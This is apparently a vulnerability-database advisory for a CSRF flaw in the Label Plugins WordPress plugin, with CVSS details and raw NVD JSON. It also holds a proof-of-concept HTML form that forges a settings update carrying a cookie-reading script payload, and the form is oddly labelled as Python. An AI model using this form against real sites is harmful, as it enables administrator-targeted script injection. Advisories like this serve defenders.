Security Vulnerability Report
中文
CVE-2025-12401 CVSS 6.1 MEDIUM

CVE-2025-12401

Published: 2025-11-04 04:15:38
Last Modified: 2026-04-15 00:35:42

Description

The Label Plugins plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.5. This is due to missing or incorrect nonce validation on the label_plugins_options() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Label Plugins插件 <= 0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12401 --> <!-- This PoC demonstrates how an attacker can inject malicious JavaScript --> <!-- via CSRF attack on Label Plugins plugin < = 0.5 --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-12401</title> </head> <body> <h1>CSRF PoC for Label Plugins Plugin</h1> <p>Click the button below to trigger the attack:</p> <form id="csrfForm" action="http://target-site/wp-admin/admin-post.php" method="POST"> <!-- Required WordPress form fields --> <input type="hidden" name="action" value="label_plugins_options"> <!-- Missing or incorrect nonce validation - this is the vulnerability --> <!-- Attacker can forge requests without valid nonce --> <!-- Malicious JavaScript payload injected via settings --> <input type="hidden" name="label_plugins_setting" value="<script>alert(document.cookie)</script>"> <!-- Additional malicious parameters --> <input type="hidden" name="submit" value="Save Settings"> </form> <button type="submit" form="csrfForm">Click me (Attack Trigger)</button> <script> // Auto-submit form when page loads (for demonstration) // document.getElementById('csrfForm').submit(); // More sophisticated attack could use XMLHttpRequest: /* function executeAttack() { const xhr = new XMLHttpRequest(); xhr.open('POST', 'http://target-site/wp-admin/admin-post.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.withCredentials = true; const params = 'action=label_plugins_options&' + 'label_plugins_setting=<script>malicious code here</script>&' + 'submit=Save+Settings'; xhr.send(params); } */ </script> <p><strong>Note:</strong> This PoC is for educational and security testing purposes only.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12401", "sourceIdentifier": "[email protected]", "published": "2025-11-04T04:15:37.593", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Label Plugins plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.5. This is due to missing or incorrect nonce validation on the label_plugins_options() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/label-plugins/tags/0.5/lp_admin_page.php#L35", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/label-plugins/tags/0.5/lp_admin_page.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/label-plugins/tags/0.5/lp_admin_page.php#L70", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/843cc5e7-7820-409c-8de0-bd70245811cd?source=cve", "source": "[email protected]"}]}}